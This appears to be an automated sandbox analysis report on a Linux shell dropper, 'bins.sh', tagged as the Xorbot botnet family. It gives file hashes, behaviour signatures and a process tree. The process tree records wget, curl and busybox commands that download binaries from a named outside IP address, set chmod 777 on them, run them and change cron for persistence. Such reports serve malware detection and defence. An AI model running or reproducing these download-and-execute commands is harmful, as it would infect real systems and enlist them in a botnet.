Analysis
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max time kernel
149s -
max time network
130s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
04/12/2024, 10:29
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
9233bf649a4624ec647262c74da69bec
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SHA1
345be1eaa98aba4c1ff55ad977ea48281e6b60c3
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SHA256
bd6cd721c42874cb2242e64bcc17ab58442d0de2ca5302438b17712d83839942
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SHA512
285bf6e13dec59ea4792dd4b47b82cb53afe423ec49e009f716b2f6b6c4e9f28367ae08b4eb791fafae5f239a432c95e870562eb09fa24a3cb8237b657c85013
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SSDEEP
96:/Ro+uSOePnaUgRdP4/EA4f/sUyyY7/Mc/k9/O/EA4f/aUyyY7//DgfRo+u7SOePQ:/uSOePnaVKLUyyY7/iyyY7/7SOePnQ
Malware Config
Signatures
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resource yara_rule behavioral1/files/fstream-1.dat family_xorbot -
Xorbot family
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Contacts a large (804) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1494 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 1495 vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 -
Renames itself 1 IoCs
pid Process 1496 vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.sCyVMy crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/1573/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1612/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/5/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/154/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/198/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1065/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1109/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1587/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/508/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1517/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1520/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/29/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/35/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/449/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1274/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1361/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1577/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/21/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/936/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1047/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1513/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1527/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1567/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/7/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/438/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1220/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1546/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1557/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1569/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/713/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1130/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1239/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1541/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1571/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1154/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1514/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1519/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/34/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1121/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1555/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/81/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/163/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/167/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1510/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1551/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1563/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/165/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/417/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/560/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1558/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/31/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/267/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/447/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/440/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/701/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1051/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1149/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1156/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/28/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/162/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/344/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1182/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1315/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 File opened for reading /proc/1545/cmdline vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 wget File opened for modification /tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 curl File opened for modification /tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1 busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:1477
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/bin/rm/bin/rm bins.sh2⤵PID:1478
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/usr/bin/wgetwget http://216.126.231.240/bins/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i12⤵
- Writes file to tmp directory
PID:1479
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/usr/bin/curlcurl -O http://216.126.231.240/bins/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i12⤵
- Writes file to tmp directory
PID:1484
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i12⤵
- Writes file to tmp directory
PID:1485
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/bin/chmodchmod 777 vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i12⤵
- File and Directory Permissions Modification
PID:1494
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/tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1./vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i12⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1495 -
/bin/shsh -c "crontab -l"3⤵PID:1497
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/usr/bin/crontabcrontab -l4⤵PID:1498
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/bin/shsh -c "crontab -"3⤵PID:1499
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1500
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/bin/rmrm vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i12⤵PID:1502
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/usr/bin/wgetwget http://216.126.231.240/bins/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe2⤵PID:1505
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
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Filesize
210B
MD54fc20a4e138d6bed71f9638e4db9e65c
SHA11028f92cb7c9af380b79e18cfbc188561873ad1b
SHA25693b1aa29bf8507b36c9cc2672bf74f99b03ab32234161bed655b7dfb34d19eb3
SHA512eec2f16b25b17b7cfa37d4652801189b8c794ebe29d0c5536dff50d581ff76984b4e6cecc61b719b3cb72b01f0f845ac32ce4f8253787b48ecb0cda59e4d0213